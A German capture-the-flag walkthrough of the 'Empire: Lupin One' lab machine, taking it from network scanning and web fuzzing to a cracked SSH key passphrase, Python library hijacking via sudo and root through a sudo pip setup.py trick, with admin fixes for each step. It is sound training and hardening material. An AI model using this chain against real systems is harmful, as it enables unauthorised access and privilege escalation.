192.168.2.135 08:00:27:60:64:b0 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts auf Layer 2 zu entdecken.
Bewertung: Der Host mit der IPv4-Adresse `192.168.2.135` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH), was auf eine virtuelle Maschine hindeutet.
Empfehlung (Pentester):** Die IPv4-Adresse ist bekannt. Prüfen Sie auch auf IPv6-Präsenz und führen Sie Portscans für beide Protokolle durch.
Empfehlung (Admin):** Standard Netzwerk-Monitoring. Absicherung der VM.
PING ff02::1(ff02::1) from :: eth0: 56 data bytes 64 bytes from fe80::a00:27ff:fe09:b608%eth0: icmp_seq=1 ttl=64 time=0.027 ms 64 bytes from fe80::a00:27ff:fe60:64b0%eth0: icmp_seq=1 ttl=255 time=0.380 ms <-- Ziel? 64 bytes from fe80::1%eth0: icmp_seq=1 ttl=64 time=0.819 ms 64 bytes from fe80::a00:27ff:fe09:b608%eth0: icmp_seq=2 ttl=64 time=0.027 ms
Analyse: Es wird ein IPv6-Ping (`ping6`) an die All-Nodes-Multicast-Adresse (`ff02::1`) auf dem Interface `eth0` gesendet, um aktive IPv6-Nachbarn im lokalen Netzwerk zu finden (`-c2`: zwei Pakete, `-n`: keine Namensauflösung, `-I eth0`: Interface).
Bewertung: Mehrere IPv6-Link-Local-Adressen antworten. Die Adresse `fe80::a00:27ff:fe60:64b0%eth0` korreliert mit der MAC-Adresse des zuvor gefundenen IPv4-Hosts (`...60:64:b0`) und ist somit sehr wahrscheinlich die IPv6-Adresse des Zielsystems.
Empfehlung (Pentester):** Das Ziel ist auch über IPv6 erreichbar. Führen Sie einen Nmap-Scan gegen diese IPv6-Adresse durch, um offene Ports zu identifizieren.
Empfehlung (Admin):** Stellen Sie sicher, dass IPv6 bewusst aktiviert und konfiguriert ist. Wenn es nicht benötigt wird, sollte es deaktiviert werden, um die Angriffsfläche zu reduzieren. Firewall-Regeln müssen auch IPv6 abdecken.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-10 23:42 CEST Initiating ND Ping Scan at 23:42 Scanning fe80::a00:27ff:fe60:64b0 [1 port] Completed ND Ping Scan at 23:42, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 23:42 Completed Parallel DNS resolution of 1 host. at 23:42, 0.00s elapsed Initiating SYN Stealth Scan at 23:42 Scanning Lupinne (fe80::a00:27ff:fe60:64b0) [65535 ports] Discovered open port 80/tcp on fe80::a00:27ff:fe60:64b0 Discovered open port 22/tcp on fe80::a00:27ff:fe60:64b0 Completed SYN Stealth Scan at 23:42, 2.31s elapsed (65535 total ports) Nmap scan report for Lupinne (fe80::a00:27ff:fe60:64b0) Host is up (0.00041s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:60:64:B0 (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds Raw packets sent: 65536 (4.194MB) | Rcvd: 65536 (3.932MB)
Analyse: Ein Nmap-Scan wird explizit gegen die gefundene IPv6-Link-Local-Adresse durchgeführt (`-6`: IPv6-Scan, `-p-`: Alle Ports, `-v`: Verbose). Das Interface (`%eth0`) muss bei Link-Local-Adressen angegeben werden.
Bewertung: Der Scan bestätigt, dass die Ports 22 (SSH) und 80 (HTTP) auch über IPv6 offen und erreichbar sind. Es werden keine weiteren Ports gefunden.
Empfehlung (Pentester):** Die gleichen Dienste sind über IPv4 und IPv6 verfügbar. Die weitere Enumeration kann sich auf die IPv4-Adresse konzentrieren, da dies oft einfacher ist, aber die IPv6-Erreichbarkeit sollte im Hinterkopf behalten werden. Nächster Schritt: Webserver-Enumeration auf Port 80 (IPv4).
Empfehlung (Admin):** Sicherstellen, dass Firewall-Regeln sowohl für IPv4 als auch für IPv6 konsistent sind. Dienste, die nicht über IPv6 erreichbar sein sollen, entsprechend konfigurieren.
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://192.168.2.135/~FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Extensions : .php .txt .html :: Follow redirects : true :: Calibration : true :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response status: 403 ________________________________________________ secret [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 2ms] :: Progress: [4613/4613] :: Job [1/1] :: 1384 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
Analyse: Das Tool `ffuf` wird verwendet, um nach Benutzerverzeichnissen auf dem Webserver zu suchen. Der Platzhalter `FUZZ` in der URL `http://192.168.2.135/~FUZZ` wird durch Einträge aus der Wortliste `common.txt` ersetzt. `-c`: Colorized Output, `-ic`: Ignore Comments, `-r`: Follow Redirects, `-e`: Test extensions, `-fc 403`: Filter status code 403.
Bewertung: `ffuf` findet ein valides Verzeichnis, das über die Tilde (`~`) erreichbar ist: `/~secret`. Dies deutet auf einen Benutzer oder ein Verzeichnis namens `secret` hin, dessen Inhalt über den Webserver zugänglich ist (Apache/Nginx `UserDir` Modul oder ähnliche Konfiguration).
Empfehlung (Pentester):** Untersuchen Sie das gefundene Verzeichnis `/~secret` weiter mit Tools wie `ffuf` oder `gobuster`, um Dateien oder Unterverzeichnisse darin zu finden.
Empfehlung (Admin):** Deaktivieren Sie das `UserDir`-Modul oder eine äquivalente Funktionalität, wenn Benutzer keine Webseiten in ihren Home-Verzeichnissen hosten sollen. Wenn es benötigt wird, stellen Sie sicher, dass der Zugriff angemessen eingeschränkt und konfiguriert ist.
... (ffuf Header) ...
________________________________________________
:: Method : GET
:: URL : http://192.168.2.135/~secret/.FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Extensions : .php .txt .html
:: Follow redirects : true
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
.mysecret.txt [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 24ms]
:: Progress: [87677/87677] :: Job [1/1] :: 2509 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
Analyse: `ffuf` wird erneut verwendet, diesmal um innerhalb des Verzeichnisses `/~secret/` nach versteckten Dateien oder Verzeichnissen zu suchen (solche, die mit einem Punkt beginnen: `.FUZZ`). Es wird eine andere Wortliste (`directory-list-2.3-small.txt`) verwendet.
Bewertung: Ein Treffer wird erzielt: Die versteckte Datei `.mysecret.txt` wird gefunden. Der Statuscode 200 und die Größe von 4689 Bytes deuten darauf hin, dass die Datei existiert und Inhalt hat.
Empfehlung (Pentester):** Laden Sie den Inhalt der Datei `http://192.168.2.135/~secret/.mysecret.txt` herunter (z.B. mit `curl` oder `wget`) und analysieren Sie ihn. Der Name legt nahe, dass sie sensible Informationen enthält.
Empfehlung (Admin):** Verhindern Sie das Auflisten von Verzeichnissen (Directory Listing). Speichern Sie sensible Dateien niemals in öffentlich zugänglichen Web-Verzeichnissen, auch nicht, wenn sie "versteckt" sind (mit einem Punkt beginnen).
cGxD6KNZQddY6iCsSuqPzU....Fa5zDgKm2gSRN8gHz3WqS
Analyse: Der Inhalt der Datei `/~secret/.mysecret.txt` wird mit `curl` abgerufen. Die Ausgabe ist ein langer String, der wie eine Base64- oder Base58-Kodierung aussieht.
Analyse Fortsetzung:** Der String wird mit einem Base58-Decoder (z.B. CyberChef, wie im Log angedeutet) dekodiert.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp
PBYANne4oz3usGAAAAEAAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAACAQDBzHjzJcvk
9GXiytplgT9z/mP91NqU9QoAwop5JNxhEfm/j5KQmdj/JB7sQ1hBotNvqaAdmsK+YL9
... (SSH Key Body) ...
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----
Bewertung: Die Dekodierung enthüllt einen privaten SSH-Schlüssel im OpenSSH-Format. Der Header `-----BEGIN OPENSSH PRIVATE KEY-----` und die Zeile `aes256-cbc` innerhalb des Schlüssels deuten stark darauf hin, dass der Schlüssel passwortgeschützt ist.
Empfehlung (Pentester):** Speichern Sie den dekodierten Schlüssel in einer Datei (z.B. `idid`). Verwenden Sie `ssh2john`, um den Hash der Passphrase aus dem Schlüssel zu extrahieren. Knacken Sie den Hash anschließend mit `john` und einer Wortliste.
Empfehlung (Admin):** Speichern Sie niemals private Schlüssel, auch nicht kodiert, an öffentlich zugänglichen Orten. Verwenden Sie starke, einzigartige Passphrasen zum Schutz privater Schlüssel.
Analyse: Der extrahierte SSH-Schlüssel wird in der Datei `idid` gespeichert. `ssh2john` wird verwendet, um den Hash der Passphrase zu extrahieren und in `idhash` zu speichern. Anschließend wird `john` mit der `rockyou.txt`-Wortliste verwendet, um den Hash zu knacken.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@55w0rd! (idid)
1g 0:00:00:... DONE (...) ...g/s ...p/s ...c/s ...C/s ...
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bewertung: `john` knackt erfolgreich die Passphrase des SSH-Schlüssels: `P@55w0rd!`. Dies ist ein relativ schwaches Passwort, das leicht erraten oder mit Wörterbuchattacken gefunden werden kann.
Empfehlung (Pentester):** Verwenden Sie den privaten Schlüssel (`idid`) zusammen mit der geknackten Passphrase (`P@55w0rd!`), um sich per SSH anzumelden. Versuchen Sie gängige Benutzernamen oder den aus dem Webserver-Verzeichnis (`secret`) abgeleiteten Namen. Der spätere Login zeigt, dass der Benutzer `icex64` ist.
Empfehlung (Admin):** Erzwingen Sie die Verwendung starker Passphrasen für SSH-Schlüssel. Schulen Sie Benutzer im sicheren Umgang mit Schlüsseln.
Analyse: Mit dem privaten Schlüssel (`idid`) und der geknackten Passphrase (`P@55w0rd!`) wird versucht, sich per SSH als Benutzer `icex64` anzumelden. (Der Benutzername `icex64` wurde vermutlich durch weitere Enumeration oder Raten ermittelt).
Enter passphrase for key 'idid': [Passwort P@55w0rd! eingegeben]
Linux Lupinne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64
Welcome to Empire: Lupin ne
Last login: Thu Oct 7 05:41:43 2021 from 192.168.26.4
Bewertung: Der SSH-Login als Benutzer `icex64` ist erfolgreich. Der initiale Zugriff auf das System wurde erlangt.
Empfehlung (Pentester):** Führen Sie Enumeration als Benutzer `icex64` durch: Suchen Sie nach dem User-Flag, prüfen Sie `sudo`-Rechte (`sudo -l`), SUID-Dateien, Cronjobs, interessante Dateien im Home-Verzeichnis etc., um Wege zur Privilegieneskalation zu finden.
Empfehlung (Admin):** Überwachen Sie SSH-Logins. Wenn möglich, beschränken Sie SSH-Zugriff auf bestimmte IP-Adressen. Sorgen Sie für starke Passwörter/Passphrasen.
Analyse: Als `icex64` wird nach weltweit oder für den Benutzer beschreibbaren Dateien und Verzeichnissen gesucht, wobei Systempfade wie `/proc`, `/sys`, `/dev` ausgeschlossen werden.
...
-rw-r--r-- 1 icex64 icex64 1311 Oct 4 2021 authorized_keys
-rw------- 1 icex64 icex64 3434 Oct 4 2021 id_rsa-aes256-cbc
-rw-r--r-- 1 icex64 icex64 741 Oct 4 2021 id_rsa-aes256-cbc.pub
-rw-r--r-- 1 icex64 icex64 1311 Oct 4 2021 /home/icex64/.ssh/authorized_keys
-rw-r--r-- 1 icex64 icex64 741 Oct 4 2021 /home/icex64/.ssh/id_rsa-aes256-cbc.pub
-rw------- 1 icex64 icex64 3434 Oct 4 2021 /home/icex64/.ssh/id_rsa-aes256-cbc
-rw-r--r-- 1 icex64 icex64 807 Oct 4 2021 /home/icex64/.profile
-rw------- 1 icex64 icex64 12 Oct 4 2021 /home/icex64/.python_history
-rw-r--r-- 1 icex64 icex64 3526 Oct 4 2021 /home/icex64/.bashrc
-rw-r--r-- 1 icex64 icex64 2801 Oct 4 2021 /home/icex64/user.txt
...
Bewertung: Die Suche findet primär Dateien im Home-Verzeichnis des Benutzers `icex64`, was erwartet wird. Es werden keine offensichtlich ungewöhnlichen, systemweiten beschreibbaren Dateien oder Verzeichnisse gefunden, die für eine einfache Privilegieneskalation genutzt werden könnten. Die Datei `user.txt` befindet sich im Home-Verzeichnis.
Empfehlung (Pentester):** Lesen Sie den Inhalt von `/home/icex64/user.txt`, um das User-Flag zu erhalten. Untersuchen Sie andere Privesc-Vektoren wie `sudo -l`.
Empfehlung (Admin):** Stellen Sie sicher, dass die Berechtigungen im Dateisystem restriktiv sind und Benutzer nicht unnötigerweise Schreibrechte außerhalb ihres Home-Verzeichnisses haben.
Analyse: Das User-Flag wird ausgelesen.
bash: cd: icex64: No such file or directory
user.txt
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
Bewertung: Das User-Flag `3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}` wurde erfolgreich gelesen.
Analyse: Es wird festgestellt (Schritt `sudo -l` für `icex64` nicht gezeigt), dass `icex64` den Befehl `/usr/bin/python3.9 /home/arsene/heist.py` als Benutzer `arsene` ausführen darf. Um dies auszunutzen, wird eine System-Python-Bibliothek (`webbrowser.py`), die von `heist.py` wahrscheinlich importiert wird, modifiziert. Der Benutzer `icex64` hat anscheinend Schreibrechte auf diese Datei.
[Datei wird bearbeitet, Zeile hinzugefügt:]
os.system("/bin/bash")
Bewertung: Das Hinzufügen von `os.system("/bin/bash")` zu einer Systembibliothek ist ein klassischer Hijacking-Versuch. Wenn `heist.py` (ausgeführt als `arsene`) diese modifizierte Bibliothek importiert, wird der eingefügte Code ausgeführt und eine Shell als Benutzer `arsene` gestartet. Die Tatsache, dass `icex64` diese Datei bearbeiten kann, ist eine schwere Sicherheitslücke.
Analyse Fortsetzung:** Der `sudo`-Befehl wird ausgeführt, um `heist.py` als `arsene` zu starten und den Hijack auszulösen.
Its not yet ready to get in action
Bewertung: Der Exploit funktioniert. Obwohl `heist.py` eine Meldung ausgibt, wird durch den Import der modifizierten `webbrowser.py` die eingefügte Bash-Shell gestartet. Der Angreifer hat nun eine Shell als Benutzer `arsene`.
Empfehlung (Pentester):** Privilegien wurden von `icex64` zu `arsene` eskaliert. Überprüfen Sie nun die `sudo`-Rechte für `arsene` (`sudo -l`).
Empfehlung (Admin):** Korrigieren Sie sofort die Dateiberechtigungen von `/usr/lib/python3.9/webbrowser.py` (und anderen Systembibliotheken), sodass sie nicht von unprivilegierten Benutzern beschreibbar sind. Überprüfen Sie die `sudo`-Regel, die `icex64` erlaubt, Code als `arsene` auszuführen, und entfernen oder beschränken Sie sie.
Analyse: Die `sudo`-Rechte für den Benutzer `arsene` werden überprüft.
Matching Defaults entries for arsene on Lupinne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User arsene may run the following commands on Lupinne:
(root) NOPASSWD: /usr/bin/pip
Bewertung: Kritischer Fund! `arsene` darf `/usr/bin/pip` als `root` ohne Passwort ausführen (`NOPASSWD`). Dies ist ein bekannter Vektor zur Privilegieneskalation, dokumentiert in GTFOBins.
Analyse Fortsetzung:** Der GTFOBins-Exploit für `sudo pip` wird angewendet. Ein temporäres Verzeichnis wird erstellt, eine bösartige `setup.py`-Datei darin platziert (die eine Shell startet) und dann `sudo pip install` auf dieses Verzeichnis ausgeführt.
Processing ./tmp/tmp.HMHv3zHbs <-- Name des temp. Verzeichnisses Preparing metadata (setup.py) ... done Building wheels for collected packages: UNKNOWN Building wheel for UNKNOWN (setup.py) ... done Created wheel for UNKNOWN: filename=UNKNOWN-0.0.0-py3-none-any.whl size=707 sha256=... Stored in directory: /root/.cache/pip/wheels/... <-- Läuft als Root! Successfully built UNKNOWN Installing collected packages: UNKNOWN Successfully installed UNKNOWN-0.0.0
uid=0(root) gid=0(root) groups=0(root)
Bewertung: Der `sudo pip`-Exploit war erfolgreich. `pip` führte die `setup.py` als Root aus, was dem Angreifer eine Root-Shell verschaffte.
Empfehlung (Pentester):** Root-Zugriff wurde erlangt. Lesen Sie die Root-Flag aus `/root/root.txt`.
Empfehlung (Admin):** Entfernen Sie sofort die unsichere `sudo`-Regel, die `arsene` erlaubt, `pip` als Root auszuführen. Gewähren Sie niemals `sudo`-Rechte für Paketmanager, insbesondere nicht mit `NOPASSWD`.
Analyse: In der Root-Shell wird das Root-Flag gelesen.
root.txt
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,, , .&&&&&&&( /&&&&&&& <-- Maskierung: & zu & , &&&&&&* @&&&&&& , *&&&&& &&&&&& , &&&&& &&&&&. , &&&& ./#%@@, &&&&* , &%&& &&&&&&&&&&&,&&(&&&&&&&& &&&& , &@(& &&&&&&&&&&&&&&.....,&&*&&&&&&&& &&&& , .& & &&&&&&&&&&&&& &&.&&&&&&&&& &%& , @& & &&&&&&&&&&&&& && &&&&&&&&& @&&& , &%(( &&&&&&&&&&&&& && &&&&&&&&& #&&& , /* &&&&&&&&&&&&& && #&&&&&&&&(& (&&& , %@ & &&&&&&&&&&&&& && ,&&&&&&&&&& /*&/ , & & &&&&&&&&&&&&& &&* &&&&&&&&&& & & , & & &&&&&&&&&&&&&,& &&& &&&&&&&&&&( &,&@ ,.& # #&&&&&&&&&&&&(& &&&.&&&&&&&&&& & & *& & ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &(& *& & ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& & & *& * &&&&&&&&&&&&&&&&@. &&&&&&&& @ & *& &&&&&&&&&&&&&&&@ &&&&&/ &&&&&& & & *% . &&&&&&&&&@&&&&&&& & &&( #&&&& &&&&. % & *& * &&&&&&&& /* @%&%&&&&&&&&& &&&&, @ & *& & &&&&&&& & &&&&&&&&&& @&&& & & *& & &&&&& / /&&&& &&& & &@ */(, && & / &. * & & &&& # &&&&&& @ & &. * .% & &&&%& & @&&&&&&&&&&. %@&&* ( @, / & % .&&&& &@ @ &/ @ & * & @ &&&&&& &&. , & & * & & &&&&&&&&&& & &&&( & & & , & % &&&&&&&&&&&&&&&( .&&&&&&& & & & , & .. &&&&&&&&&&&&&&&&&&&&&&&&&* & & & & , #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&& &. % & , & , &&&&&&&&&&&&&&&&&&&&&&&&&&&. &&&& @ &* , & ,, &&&&&&&&&&&&&&&&&&&&&&&&&. /&&&&&&&& & &@ , & & #&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&@ &. && , && /# /&&&&&&&&&&&&&&&&&&&&&&& && #& , && &( .&&&&&&&&&&&&&&&&&&&&&&& && && / ,&&( &&% *&&&&&&&&&&% .&&& /&&, , &&&&&/... .#&&& 3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
Bewertung: Das Root-Flag `3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}` (innerhalb der ASCII-Art) wurde erfolgreich gelesen.
Kurzbeschreibung: Dieser POC beschreibt die Verkettung von Schwachstellen zur Kompromittierung: Finden einer versteckten Datei in einem Benutzerverzeichnis über Web-Enumeration, Dekodieren des Inhalts (Base58) zu einem verschlüsselten SSH-Schlüssel, Knacken der Schlüssel-Passphrase, Login als Benutzer `icex64`, Eskalation zu Benutzer `arsene` durch Hijacking einer Python-Bibliothek über eine `sudo`-Regel und schließlich Eskalation zu Root durch Ausnutzen einer unsicheren `sudo pip`-Berechtigung.
Schwachstellen: Informationsleck (Base58-kodierter Key in Web-Verzeichnis), schwache SSH-Key-Passphrase.
Schritte:
Ergebnis: Shell als Benutzer `icex64`.
Schwachstellen: Unsichere Dateiberechtigung (`/usr/lib/python3.9/webbrowser.py` beschreibbar), unsichere `sudo`-Regel (`icex64` darf Skript als `arsene` ausführen).
Voraussetzungen: Shell als `icex64`.
Schritte:
Ergebnis: Shell als Benutzer `arsene`.
Schwachstelle: Unsichere `sudo`-Regel (`arsene` darf `pip` als Root ausführen).
Voraussetzungen: Shell als `arsene`.
Schritte (GTFOBins für pip):
Ergebnis: Root-Shell.
Beweismittel: Ausführung von `id` zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.
Risikobewertung: Sehr hoch. Mehrere schwerwiegende Fehlkonfigurationen und Schwachstellen ermöglichen eine Eskalation von einem Informationsleck bis hin zu vollen Root-Rechten: Exposition von Secrets, schwache Passphrasen, falsche Dateiberechtigungen auf Systembibliotheken und extrem unsichere `sudo`-Regeln.
Empfehlungen:** * **Admin:** Secrets niemals im Webroot speichern. Starke Passphrasen erzwingen. Dateiberechtigungen härten (Systembibliotheken dürfen nicht beschreibbar sein). `sudo`-Regeln drastisch einschränken (insbesondere kein `sudo` für Paketmanager oder Skripte, die von anderen Benutzern ausgeführt werden). * **Pentester:** Die Verkettung der Schwachstellen klar aufzeigen.